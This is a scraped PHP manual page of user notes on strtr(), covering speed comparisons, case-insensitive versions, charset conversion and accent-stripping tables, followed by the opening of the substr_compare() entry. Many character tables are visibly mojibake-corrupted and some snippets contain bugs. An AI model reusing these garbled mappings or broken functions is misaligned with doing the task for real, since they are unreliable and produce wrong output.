time strtr       : 3.9719619750977      result :aboutdealers
time str_replace : 2.9930369853973      result :aboutdealers
time strtr > time str_replace => 1

str_replace is faster than strtr
dcz at phpbb-seo dot com 08-Aug-2013 05:26
strstr will issue a notice when $replace_pairs contains an array, even unused, with php 5.5.0.

It was not the case with version at least up to 5.3.2, but I'm not sure the notice was added with exactly 5.5.0.

<?php
$str = 'hi all, I said hello';
$replace_pairs = array(
      'all' => 'everybody',
    'unused' => array('somtehing', 'something else'),
     'hello' => 'hey',
);
// php 5.5.0 Notice: Array to string conversion in test.php on line 8
echo strtr($str, $replace_pairs); // hi everybody, I said hey
?>

since the result is still correct, @strstr seems a working solution.
lichail at sohu dot com 22-Jun-2013 10:11
<?php
//note this output null
echo strtr('abc', array('' => ''));
?>
Hayley Watson 01-Feb-2013 11:04
Since strtr (like PHP's other string functions) treats strings as a sequence of bytes, and since UTF-8 and other multibyte encodings use - by definition - more than one byte for at least some characters, the three-string form is likely to have problems. Use the associative array form to specify the mapping.

<?php
// Assuming UTF-8
$str = 'Ã„bc Ã„bc'; // strtr() sees this as nine bytes (including two for each Ã„)
echo strtr($str, 'Ã„', 'a'); // The second argument is equivalent to the string "\xc3\x84" so "\xc3" gets replaced by "a" and the "\x84" is ignored

echo strtr($str, array('Ã„' => 'a')); // Works much better
?>
qeremy [atta] gmail [dotta] com 23-Jan-2013 04:19
Weird, but strtr corrupting chars, if used like below and if file is encoded in UTF-8;

<?php
$str = 'Ã„bc Ã„bc';
echo strtr($str, 'Ã„', 'a');
// output: aï¿½bc aï¿½bc
?>

And a simple solution;

<?php
function strtr_unicode($str, $a = null, $b = null) {
    $translate = $a;
    if (!is_array($a) && !is_array($b)) {
        $a = (array) $a;
        $b = (array) $b;
        $translate = array_combine(
            array_values($a),
            array_values($b)
        );
    }
    // again weird, but accepts an array in this case
    return strtr($str, $translate);
}

$str = 'Ã„bc Ã„bc';
echo strtr($str, 'Ã„', 'a') ."\n";
echo strtr_unicode($str, 'Ã„', 'a') ."\n";
echo strtr_unicode($str, array('Ã„' => 'a')) ."\n";
// outputs
// aï¿½bc aï¿½bc
// abc abc
// abc abc
?>
Tedy 02-Nov-2012 05:43
Since strtr() is twice faster than strlwr I decided to write my own lowering function which also handles UTF-8 characters.

<?php

function strlwr($string, $utf = 1)
{
    $latin_letters = array('Ä‚' => 'a',
                            'Ã‚' => 'a',
                            'ÃŽ' => 'i',
                            'È˜' => 's',
                            'Åž' => 's',
                            'Èš' => 't',
                            'Å¢' => 't');

    $utf_letters = array('Ä‚' => 'Äƒ',
                        'Ã‚' => 'Ã¢',
                        'ÃŽ' => 'Ã®',
                        'È˜' => 'È™',
                        'Åž' => 'ÅŸ',
                        'Èš' => 'È›',
                        'Å¢' => 'Å£');

    $letters = array('A' => 'a',
                    'B' => 'b',
                    'C' => 'c',
                    'D' => 'd',
                    'E' => 'e',
                    'F' => 'f',
                    'G' => 'g',
                    'H' => 'h',
                    'I' => 'i',
                    'J' => 'j',
                    'K' => 'k',
                    'L' => 'l',
                    'M' => 'm',
                    'N' => 'n',
                    'O' => 'o',
                    'P' => 'p',
                    'Q' => 'q',
                    'R' => 'r',
                    'S' => 's',
                    'T' => 't',
                    'U' => 'u',
                    'V' => 'v',
                    'W' => 'w',
                    'X' => 'x',
                    'Y' => 'y',
                    'Z' => 'z');

    return ($utf == 1) ? strtr($string, array_merge($utf_letters, $letters)) : strtr($string, array_merge($latin_letters, $letters));
}

?>

This allows you to lower every character (even UTF-8 ones) if you don't set the second parameter, or just lower the UTF-8 ones into their specific latin characters (used when making friendly-urls for example).

I used romanian characters but, of course, you can add your own local characters.

Feel free to use/modify this function as you wish. Hope it helps.
patrick dot rauchfuss at gmail dot com 24-Aug-2012 05:04
Here my solution of an classes recursive caseinsentive strtr..

<?php
class String
{
    public static function stritr(&$string, $from, $to = NULL)
    {
        if(is_string($from))
            $string = preg_replace("'$from'i", $to, $string);

        else if(is_array($from))
        {
            foreach ($from as $key => $val)
                self::stritr($string, $key, $val);
        }

        return $string;
    }
}

// example:
$string = "Hello world. This is just a simple test";
print String::stritr($string, 'WorLd', 'foo');

// array example:
print String::stritr($string, array('WorLd' => 'foo', 'TEST' => 'bar'));
?>
antimoz at gmail dot com 09-Feb-2012 12:08
Here is my array for char normalization:
<?php
        $normalizeChars = array(
            'Ã'=>'A', 'Ã€'=>'A', 'Ã‚'=>'A', 'Ãƒ'=>'A', 'Ã…'=>'A', 'Ã„'=>'A', 'Ã†'=>'AE', 'Ã‡'=>'C',
            'Ã‰'=>'E', 'Ãˆ'=>'E', 'ÃŠ'=>'E', 'Ã‹'=>'E', 'Ã'=>'I', 'ÃŒ'=>'I', 'ÃŽ'=>'I', 'Ã'=>'I', 'Ã'=>'Eth',
            'Ã‘'=>'N', 'Ã“'=>'O', 'Ã’'=>'O', 'Ã”'=>'O', 'Ã•'=>'O', 'Ã–'=>'O', 'Ã˜'=>'O',
            'Ãš'=>'U', 'Ã™'=>'U', 'Ã›'=>'U', 'Ãœ'=>'U', 'Ã'=>'Y',

            'Ã¡'=>'a', 'Ã '=>'a', 'Ã¢'=>'a', 'Ã£'=>'a', 'Ã¥'=>'a', 'Ã¤'=>'a', 'Ã¦'=>'ae', 'Ã§'=>'c',
            'Ã©'=>'e', 'Ã¨'=>'e', 'Ãª'=>'e', 'Ã«'=>'e', 'Ã'=>'i', 'Ã¬'=>'i', 'Ã®'=>'i', 'Ã¯'=>'i', 'Ã°'=>'eth',
            'Ã±'=>'n', 'Ã³'=>'o', 'Ã²'=>'o', 'Ã´'=>'o', 'Ãµ'=>'o', 'Ã¶'=>'o', 'Ã¸'=>'o',
            'Ãº'=>'u', 'Ã¹'=>'u', 'Ã»'=>'u', 'Ã¼'=>'u', 'Ã½'=>'y',

            'ÃŸ'=>'sz', 'Ã¾'=>'thorn', 'Ã¿'=>'y'
        );
?>
Sam 02-Feb-2012 07:33
Case Insensitive strtr

<?php
function stritr($string, $one, $two=null) {
    if (is_string($one)) {
        return strtr($string, strtoupper($one) . strtolower($one), "$two$two");
    } else if (is_array($one)) {
        $strReturn = $string
        foreach ($one as $key => $val) {
            $strReturn = preg_replace("'$key'i", $val, $strReturn);
        }
        return $strReturn;
    }
    return $string;
}
?>
Michael Schuijff 24-Oct-2011 07:02
I found that this approach is often faster than strtr() and won't change the same thing in your string twice (as opposed to str_replace(), which will overwrite things in the order of the array you feed it with):

<?php
function replace ($text, $replace) {
    $keys = array_keys($replace);
    $length = array_combine($keys, array_map('strlen', $keys));
    arsort($length);

    $array[] = $text;
    $count = 1;
    reset($length);
    while ($key = key($length)) {
        if (strpos($text, $key) !== false) {
            for ($i = 0; $i < $count; $i += 2) {
                if (($pos = strpos($array[$i], $key)) === false) continue;
                array_splice($array, $i, 1, array(substr($array[$i], 0, $pos), $replace[$key], substr($array[$i], $pos + strlen($key))));
                $count += 2;
            }
        }
        next($length);
    }
    return implode($array);
}
?>
Chris 04-Feb-2011 09:49
Hope this is useful when you need to see ASCII control characters:
<?php
$xlate = array(chr(0) => '^@/NUL/null', chr(1) => '^A/SOH/start of heading', chr(2) => '^B/STX/start of text', chr(3) => '^C/ETX/end of text', chr(4) => '^D/EOT/end of transmisssion', chr(5) => '^E/ENQ/enquiry', chr(6) => '^F/ACK/acknowledge', chr(7) => '^G/BEL/bell', chr(8) => '^H/BS/backspace', chr(9) => '^I/TAB/horizontal tab', chr(10) => '^J/LF/NL/line feed/new line', chr(11) => '^K/VT/vertical tab', chr(12) => '^L/FF/NP/form feed/new page/', chr(13) => '^M/CR/carrige return', chr(14) => '^N/SO/shift out', chr(15) => '^O/SI/shift in', chr(16) => '^P/DLE/data link escape', chr(17) => '^Q/DC1/device control 1', chr(18) => '^R/DC2/device control 2', chr(19) => '^S/DC3/device control 3', chr(20) => '^T/DC4/device control 4', chr(21) => '^U/NAK/negative acknowledge', chr(22) => '^V/SYN/synchronous idle', chr(23) => '^W/ETB/end of transmission block', chr(24) => '^X/CAN/cancel', chr(25) => '^Y/EM/end of medium', chr(26) => '^Z/SUB/substiute', chr(27) => '^[/ESC/escape', chr(28) => '^\/FS/file separator', chr(29) => '^]/GS/group separator', chr(30) => '^^/RS/record separator', chr(31) => '^_/US/unit separator', chr(32) => 'Space');

$x = 0;
$pad = strlen(strlen($str));
while(isset($str[$x]))
   echo 'character ', str_pad($x+1, $pad), ' = ', strtr($str[$x], $xlate), ' (ascii ', ord($str[$x++]), ')';
?>
elloromtz at gmail dot com 20-Apr-2010 02:08
If you supply 3 arguments and the 2nd is an array, strtr will search the "A" from "Array" (because you're treating it as a scalar string) and replace it with the 3rd argument:

strtr('Analogy', array('x'=>'y'),  '_'); //'_nalogy'

so in reality the above code has the same affect as:

strtr('Analogy', 'A' , '_');
allixsenos at gmail dot com 16-May-2009 05:55
fixed "normaliza" functions written below to include Slavic Latin characters... also, it doesn't return lowercase any more (you can easily get that by applying strtolower yourself)...

also, renamed to normalize()

<?php

function normalize ($string) {
    $table = array(
        'Å '=>'S', 'Å¡'=>'s', 'Ä'=>'Dj', 'Ä‘'=>'dj', 'Å½'=>'Z', 'Å¾'=>'z', 'ÄŒ'=>'C', 'Ä'=>'c', 'Ä†'=>'C', 'Ä‡'=>'c',
        'Ã€'=>'A', 'Ã'=>'A', 'Ã‚'=>'A', 'Ãƒ'=>'A', 'Ã„'=>'A', 'Ã…'=>'A', 'Ã†'=>'A', 'Ã‡'=>'C', 'Ãˆ'=>'E', 'Ã‰'=>'E',
        'ÃŠ'=>'E', 'Ã‹'=>'E', 'ÃŒ'=>'I', 'Ã'=>'I', 'ÃŽ'=>'I', 'Ã'=>'I', 'Ã‘'=>'N', 'Ã’'=>'O', 'Ã“'=>'O', 'Ã”'=>'O',
        'Ã•'=>'O', 'Ã–'=>'O', 'Ã˜'=>'O', 'Ã™'=>'U', 'Ãš'=>'U', 'Ã›'=>'U', 'Ãœ'=>'U', 'Ã'=>'Y', 'Ãž'=>'B', 'ÃŸ'=>'Ss',
        'Ã '=>'a', 'Ã¡'=>'a', 'Ã¢'=>'a', 'Ã£'=>'a', 'Ã¤'=>'a', 'Ã¥'=>'a', 'Ã¦'=>'a', 'Ã§'=>'c', 'Ã¨'=>'e', 'Ã©'=>'e',
        'Ãª'=>'e', 'Ã«'=>'e', 'Ã¬'=>'i', 'Ã'=>'i', 'Ã®'=>'i', 'Ã¯'=>'i', 'Ã°'=>'o', 'Ã±'=>'n', 'Ã²'=>'o', 'Ã³'=>'o',
        'Ã´'=>'o', 'Ãµ'=>'o', 'Ã¶'=>'o', 'Ã¸'=>'o', 'Ã¹'=>'u', 'Ãº'=>'u', 'Ã»'=>'u', 'Ã½'=>'y', 'Ã½'=>'y', 'Ã¾'=>'b',
        'Ã¿'=>'y', 'Å”'=>'R', 'Å•'=>'r',
    );

    return strtr($string, $table);
}

?>
Sidney Ricardo 05-Sep-2008 08:54
This work fine to me:

<?php
function normaliza ($string){
    $a = 'Ã€ÃÃ‚ÃƒÃ„Ã…Ã†Ã‡ÃˆÃ‰ÃŠÃ‹ÃŒÃÃŽÃÃÃ‘Ã’Ã“Ã”Ã•Ã–Ã˜Ã™ÃšÃ›ÃœÃÃž
ÃŸÃ Ã¡Ã¢Ã£Ã¤Ã¥Ã¦Ã§Ã¨Ã©ÃªÃ«Ã¬ÃÃ®Ã¯Ã°Ã±Ã²Ã³Ã´ÃµÃ¶Ã¸Ã¹ÃºÃ»Ã½Ã½Ã¾Ã¿Å”Å•';
    $b = 'aaaaaaaceeeeiiiidnoooooouuuuy
bsaaaaaaaceeeeiiiidnoooooouuuyybyRr';
    $string = utf8_decode($string);
    $string = strtr($string, utf8_decode($a), $b);
    $string = strtolower($string);
    return utf8_encode($string);
}
?>
dot dot dot dot dot alexander at gmail dot com 26-Mar-2008 01:09
OK, I debugged the function (had some errors)
Here it is:

if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                if(  count( $one ) <= 0  )break;
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $one[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $one[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
dot dot dot dot dot alexander at gmail dot com 25-Mar-2008 07:44
Here is the stritr I always needed... I wrote it in 15 minutes... But only after the idea struck me. Hope you find it helpful, and enjoy...
<?php
if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $positions[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $positions[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
?>
troelskn at gmail dot com 24-Jan-2008 12:39
Here's another transcribe function. This one converts cp1252 (aka. Windows-1252) into iso-8859-1 (aka. latin1, the default PHP charset). It only transcribes the few exotic characters, which are unique to cp1252.

function transcribe_cp1252_to_latin1($cp1252) {
  return strtr(
    $cp1252,
    array(
      "\x80" => "e",  "\x81" => " ",    "\x82" => "'", "\x83" => 'f',
      "\x84" => '"',  "\x85" => "...",  "\x86" => "+", "\x87" => "#",
      "\x88" => "^",  "\x89" => "0/00", "\x8A" => "S", "\x8B" => "<",
      "\x8C" => "OE", "\x8D" => " ",    "\x8E" => "Z", "\x8F" => " ",
      "\x90" => " ",  "\x91" => "`",    "\x92" => "'", "\x93" => '"',
      "\x94" => '"',  "\x95" => "*",    "\x96" => "-", "\x97" => "--",
      "\x98" => "~",  "\x99" => "(TM)", "\x9A" => "s", "\x9B" => ">",
      "\x9C" => "oe", "\x9D" => " ",    "\x9E" => "z", "\x9F" => "Y"));
ajitsingh4u at gmail dot com 06-Aug-2007 04:36
/**
* Replaces special characters with single quote,double quote and comma for charset iso-8859-1
*
* replaceSpecialChars()
* @param string $str
* @return string
*/
function replaceSpecialChars($str)
{
    //`(96) â€™(130) â€ž(132) â€˜(145) â€™(146) â€œ(147) â€(148) Â´(180)   // equivalent ascii values of these characters.
    $str = strtr($str, "`â€™â€žâ€˜â€™Â´", "'','''");
    $str = strtr($str, 'â€œâ€', '""');
    return $str;
}
horak.jan AT centrum.cz 22-May-2007 04:11
Here is a function to convert middle-european windows charset (cp1250) to the charset, that php script is written in:

<?php
    function cp1250_to_utf2($text){
        $dict  = array(chr(225) => 'Ã¡', chr(228) =>  'Ã¤', chr(232) => 'Ä', chr(239) => 'Ä',
            chr(233) => 'Ã©', chr(236) => 'Ä›', chr(237) => 'Ã', chr(229) => 'Äº', chr(229) => 'Ä¾',
            chr(242) => 'Åˆ', chr(244) => 'Ã´', chr(243) => 'Ã³', chr(154) => 'Å¡', chr(248) => 'Å™',
            chr(250) => 'Ãº', chr(249) => 'Å¯', chr(157) => 'Å¥', chr(253) => 'Ã½', chr(158) => 'Å¾',
            chr(193) => 'Ã', chr(196) => 'Ã„', chr(200) => 'ÄŒ', chr(207) => 'ÄŽ', chr(201) => 'Ã‰',
            chr(204) => 'Äš', chr(205) => 'Ã', chr(197) => 'Ä¹',    chr(188) => 'Ä½', chr(210) => 'Å‡',
            chr(212) => 'Ã”', chr(211) => 'Ã“', chr(138) => 'Å ', chr(216) => 'Å˜', chr(218) => 'Ãš',
            chr(217) => 'Å®', chr(141) => 'Å¤', chr(221) => 'Ã', chr(142) => 'Å½',
            chr(150) => '-');
        return strtr($text, $dict);
    }
?>
joeldegan AT yahoo 07-Apr-2006 05:49
After battling with strtr trying to strip out MS word formatting from things pasted into forms I ended up coming up with this..

it strips ALL non-standard ascii characters, preserving html codes and such, but gets rid of all the characters that refuse to show in firefox.

If you look at this page in firefox you will see a ton of "question mark" characters and so it is not possible to copy and paste those to remove them from strings..  (this fixes that issue nicely, though I admit it could be done a bit better)

<?
function fixoutput($str){
    $good[] = 9;  #tab
    $good[] = 10; #nl
    $good[] = 13; #cr
    for($a=32;$a<127;$a++){
        $good[] = $a;
    }
    $len = strlen($str);
    for($b=0;$b < $len+1; $b++){
        if(in_array(ord($str[$b]), $good)){
            $newstr .= $str[$b];
        }//fi
    }//rof
    return $newstr;
}
?>
martin[dot]pelikan[at]gmail[dot]com 29-Dec-2005 04:20
// if you are upset with windows' ^M characters at the end of the line,
// these two lines are for you:
$trans = array("\x0D" => "");
$text = strtr($orig_text,$trans);

// note that ctrl+M (in vim known as ^M) is hexadecimally 0x0D
tomhmambo at seznam dot cz 20-Dec-2005 11:54
<?
// Windows-1250 to ASCII
// This function replace all Windows-1250 accent characters with
// thier non-accent ekvivalents. Useful for Czech and Slovak languages.

function win2ascii($str)    {

    $str = StrTr($str,
        "\xE1\xE8\xEF\xEC\xE9\xED\xF2",
        "\x61\x63\x64\x65\x65\x69\x6E");

    $str = StrTr($str,
        "\xF3\xF8\x9A\x9D\xF9\xFA\xFD\x9E\xF4\xBC\xBE",
        "\x6F\x72\x73\x74\x75\x75\x79\x7A\x6F\x4C\x6C");

    $str = StrTr($str,
        "\xC1\xC8\xCF\xCC\xC9\xCD\xC2\xD3\xD8",
        "\x41\x43\x44\x45\x45\x49\x4E\x4F\x52");

    $str = StrTr($str,
        "\x8A\x8D\xDA\xDD\x8E\xD2\xD9\xEF\xCF",
        "\x53\x54\x55\x59\x5A\x4E\x55\x64\x44");

    return $str;
}
?>
Ezbakhe Yassin <yassin88 at gmail dot com> 01-Sep-2005 12:55
Here you are a simple function to rotate a variable according to an array of possible values. You can make a strict comparison (===).

<?php
function rotateValue($string, $values, $strict = TRUE)
{
    if (!empty($string) AND is_array($values))
    {
        $valuesCount = count($values);

        for ($i = 0; $i < $valuesCount; $i++)
        {
            if ($strict ? ($string === $values[$i]) : ($string == $values[$i]))
            {
                return $values[($i + 1) % $valuesCount];
            }
        }
    }

    return FALSE;
}
?>

For example:

- rotateValue("A", array("A", "B", "C")) will return "B"
- rotateValue("C", array("A", "B", "C")) will return "A"
ru dot dy at gmx dot net 11-Jul-2005 01:20
Posting umlaute here resulted in a mess. Heres a version of the same function that works with preg_replace only:
<?php
  function getRewriteString($sString) {
     $string = strtolower(htmlentities($sString));
     $string = preg_replace("/&(.)(uml);/", "$1e", $string);
     $string = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
     $string = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
     $string = trim($string, "-");
     return $string;
  }
?>
patrick at p-roocks dot de 06-Feb-2005 11:31
As Daijoubu suggested use str_replace instead of this function for large arrays/subjects. I just tried it with a array of 60 elements, a string with 8KB length, and the execution time of str_replace was faster at factor 20!

Patrick
11-Dec-2004 02:20
If you are going to call strtr a lot, consider using str_replace instead, as it is much faster. I cut execution time in half just by doing this.

<?
// i.e. instead of:
$s=strtr($s,$replace_array);

// use:
foreach($replace_array as $key=>$value) $s=str_replace($key,$value,$s);
?>
oliver at modix dot de 22-Oct-2004 10:08
Replace control characters in a binary string:
<?

function cc_replace($in) {
        for ($i = 0; $i <= 31; $i++) {
                $from  .= chr($i);
                $to    .= ".";
        }
        return strtr($in, $from, $to);
}

?>
ktogias at math dot upatras dot gr 23-Sep-2004 12:32
This function is usefull for
accent insensitive regexp
searches into greek (iso8859-7) text:
(Select View -> Character Encoding -> Greek (iso8859-7)
at your browser to see the correct greek characters)

function gr_regexp($mystring){
        $replacement=array(
                array("¶","Á","á","Ü"),
                array("¸","Å","å","Ý"),
                array("¹","Ç","ç","Þ"),
                array("º","É","é","ß","ú","À"),
                array("¼","Ï","ï","ü"),
                array("¾","Õ","õ","ý","û","à"),
                array("¿","Ù","ù","þ")
        );
        foreach($replacement as $group){
                foreach($group as $character){
                        $exp="[";
                        foreach($group as $expcharacter){
                                $exp.=$expcharacter;
                        }
                        $exp.="]";
                        $trans[$character]=$exp;
                }
        }
        $temp=explode(" ", $mystring);
        for ($i=0;$i<sizeof($temp);$i++){
                $temp[$i]=strtr($temp[$i],$trans);
                $temp[$i]=addslashes($temp[$i]);
        }
        return implode(".*",$temp);
}

$match=gr_regexp("Óêïõëéêïìõñìéãêüôñõðá êáé ÔæéæéñéÜ");

//The next query string can be sent to MySQL
through mysql_query()
$query=
      "Select `column` from `table` where `column2` REGEXP
                         '".$match."'";
volkris at tamu dot edu 19-Mar-2004 03:25
Regarding christophe's conversion, note that the \x## values should be in double quotes, not single, so that the escape will be applied.
stewey at ambitious dot ca 05-Mar-2004 03:11
This version of macRomanToIso (originally posted by: marcus at synchromedia dot co dot uk) offers a couple of improvements. First, it removes the extra slashes '\' that broke the original function. Second, it adds four quote characters not supported in ISO 8859-1. These are the left double quote, right double quote, left single quote and right single quote.

Be sure to remove the line breaks from the two strings going into strtr or this function will not work properly.

Be careful what text you apply this to. If you apply it to ISO 8859-1 encoded text it will likely wreak havoc. I'll save you some trouble with this bit of advice: don't bother trying to detect what charset a certain text file is using, it can't be done reliably. Instead, consider making assumptions based upon the HTTP_USER_AGENT, or prompting the user to specify the character encoding used (perhaps both).

<?php

/**
 * Converts MAC OS ROMAN encoded strings to the ISO 8859-1 charset.
 *
 * @param    string    the string to convert.
 * @return    string    the converted string.
 */
function macRomanToIso($string)
{
    return strtr($string,
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b
\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97
\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa4\xa6\xa7
\xa8\xab\xac\xae\xaf\xb4\xbb\xbc\xbe\xbf\xc0\xc1
\xc2\xc7\xc8\xca\xcb\xcc\xd6\xd8\xdb\xe1\xe5\xe6
\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf1\xf2\xf3
\xf4\xf8\xfc\xd2\xd3\xd4\xd5",
"\xc4\xc5\xc7\xc9\xd1\xd6\xdc\xe1\xe0\xe2\xe4\xe3
\xe5\xe7\xe9\xe8\xea\xeb\xed\xec\xee\xef\xf1\xf3
\xf2\xf4\xf6\xf5\xfa\xf9\xfb\xfc\xb0\xa7\xb6\xdf\xae
\xb4\xa8\xc6\xd8\xa5\xaa\xba\xe6\xf8\xbf\xa1\xac
\xab\xbb\xa0\xc0\xc3\xf7\xff\xa4\xb7\xc2\xca\xc1
\xcb\xc8\xcd\xce\xcf\xcc\xd3\xd4\xd2\xda\xdb\xd9
\xaf\xb8\x22\x22\x27\x27");
}

?>
j at pureftpd dot org 30-Nov-2003 05:24
Here's a very useful function to translate Microsoft characters into Latin 15, so that people won't see any more square instead of characters in web pages .

function demicrosoftize($str) {
    return strtr($str,
"\x82\x83\x84\x85\x86\x87\x89\x8a" .
"\x8b\x8c\x8e\x91\x92\x93\x94\x95" .
"\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
"'f\".**^\xa6<\xbc\xb4''" .
"\"\"---~ \xa8>\xbd\xb8\xbe");
}
Fernando "Malk" Piancastelli 29-Oct-2003 10:31
Here's a function to replace linebreaks to html <p> tags. This was initially designed to receive a typed text by a form in a "insert new notice" page and put in a database, then a "notice" page could get the text preformatted with paragraph tags instead of linebreaks that won't appear on browser. The function also removes repeated linebreaks the user may have typed in the form.

function break_to_tags(&$text) {

       // find and remove repeated linebreaks

       $double_break = array("\r\n\r\n" => "\r\n");
       do {
              $text = strtr($text, $double_break);
              $position = strpos($text, "\r\n\r\n");
       } while ($position !== false);

       // find and replace remanescent linebreaks by <p> tags

       $change = array("\r\n" => "<p>");
       $text = strtr($text, $change);
}

[]'s
Fernando
hotmail - marksteward 27-Nov-2002 04:39
Referring to note from 11 October 2000, Thorn (Þ, þ), Eth (Ð, ð), Esset (ß) and Mu (µ) aren't really accented letters.  Œ, œ, Æ, æ are ligatures.  Best to do the following:

function removeaccents($string){
 return strtr(
  strtr($string,
   'ŠŽšžŸÀÁÂÃÄÅÇÈÉÊËÌÍÎÏÑÒÓÔÕÖØÙÚÛÜÝàáâãäåçèéêëìíîïñòóôõöøùúûüýÿ',
   'SZszYAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy'),
  array('Þ' => 'TH', 'þ' => 'th', 'Ð' => 'DH', 'ð' => 'dh', 'ß' => 'ss',
   'Œ' => 'OE', 'œ' => 'oe', 'Æ' => 'AE', 'æ' => 'ae', 'µ' => 'u'));
}

This would be no good for sorting, as thorn and eth aren't actually found under th and dh.  Also especially redundant because of Unicode!  Still, I'm sure somone can find use for it - perhaps to constrict filenames...

Mark
m dot frank at beam dot ag 22-Nov-2002 02:12
to get the ascii equivalent of unicode characters simply use the

utf8_decode() function
bisqwit at iki dot fi 10-Aug-2002 07:18
#!/bin/sh
# This shell script generates a strtr() call
# to translate from a character set to another.
# Requires: gnu recode, perl, php commandline binary
#
# Usage:
#  Set set1 and set2 to whatever you prefer
#  (multibyte character sets are not supported)
#  and run the script. The script outputs
#  a strtr() php code for you to use.
#
# Example is set to generate a
# cp437..latin9 conversion code.
#
set1=cp437
set2=iso-8859-15
result="`echo '<? for($c=32;$c<256;$c++)'\
              'echo chr($c);'\
         |php -q|recode -f $set1..$set2`"
echo "// This php function call converts \$string in $set1 to $set2";
cat <<EOF  | php -q
<?php
\$set1='`echo -n "$result"\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$set2='`echo -n "$result"|recode -f $set2..$set1\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$erase=array();
\$l=strlen(\$set1);
for(\$c=0;\$c<\$l;++\$c)
  if(\$set1[\$c]==\$set2[\$c])\$erase[\$set1[\$c]]='';
if(count(\$erase))
{
  \$set1=strtr(\$set1,\$erase);
  \$set2=strtr(\$set2,\$erase);
}
if(!strlen(\$set1))echo 'IRREVERSIBLE';else
echo "strtr(\\\$string,\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set2),
     "',\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set1),
     "');";
EOF
gabi at unica dot edu 17-Jul-2002 02:32
To convert special chars to their html entities strtr you can use strtr in conjunction with get_html_translation_table(HTML_ENTITIES) :

$trans = get_html_translation_table(HTML_ENTITIES);
$html_code = strtr($html_code, $trans);

This will replace in $html_code the Á by &Aacute; , etc.
symlink23-remove-my-spleen at yahoo dot com 19-Apr-2002 06:33
As noted in the str_rot13 docs, some servers don't provide the str_rot13() function. However, the presence of strtr makes it easy to build your own facsimile thereof:

if (!function_exists('str_rot13')) {
    function str_rot13($str) {
        $from = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $to   = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

        return strtr($str, $from, $to);
    }
}

This is suitable for very light "encryption" such as hiding email addressess from spambots (then unscrambling them in a mail class, for example).

$mail_to=str_rot13("$mail_to");
erik at eldata dot se 23-Nov-2001 06:08
As an alternative to the not-yet-existing function stritr mentioned in the first note above You can easily do this:

strtr("abc","ABCabc","xyzxyz")

or more general:

strtr("abc",
strtoupper($fromchars).strtolower($fromchars),
$tochars.$tochars);

Just a thought.


Binary safe comparison of two strings from an offset, up to length characters

  • « strtr
  • substr_count »
  • PHP Manual
  • String Functions
  • Binary safe comparison of two strings from an offset, up to length characters

substr_compare

(PHP 5)

substr_compare — Binary safe comparison of two strings from an offset, up to length characters

Description

int substr_compare ( string $main_str , string $str , int $offset [, int $length [, bool $case_insensitivity = false ]] )

substr_compare() compares main_str from position offset with str up to length characters.

Parameters

main_str

The main string being compared.

str

The secondary string being compared.

offset

The start position for the comparison. If negative, it starts counting from the end of the string.

length

The length of the comparison. The default value is the largest of the length of the str compared to the length of main_str less the offset.

case_insensitivity

If case_insensitivity is TRUE, comparison is case insensitive.

Return Values

Returns < 0 if main_str from position offset is less than str, > 0 if it is greater than str, and 0 if they are equal. If offset is equal to or greater than the length of main_str, or the length is set and is less than 1 (prior to PHP 5.6), substr_compare() prints a warning and returns FALSE.

Changelog

Version | Description
5.6.0 | length may now be 0.
5.1.0 | Added the possibility to use a negative offset.

Examples

Example #1 A substr_compare() example

<?php
echo substr_compare("abcde", "bc", 1, 2); // 0
echo substr_compare("abcde", "de", -2, 2); // 0
echo substr_compare("abcde", "bcg", 1, 2); // 0
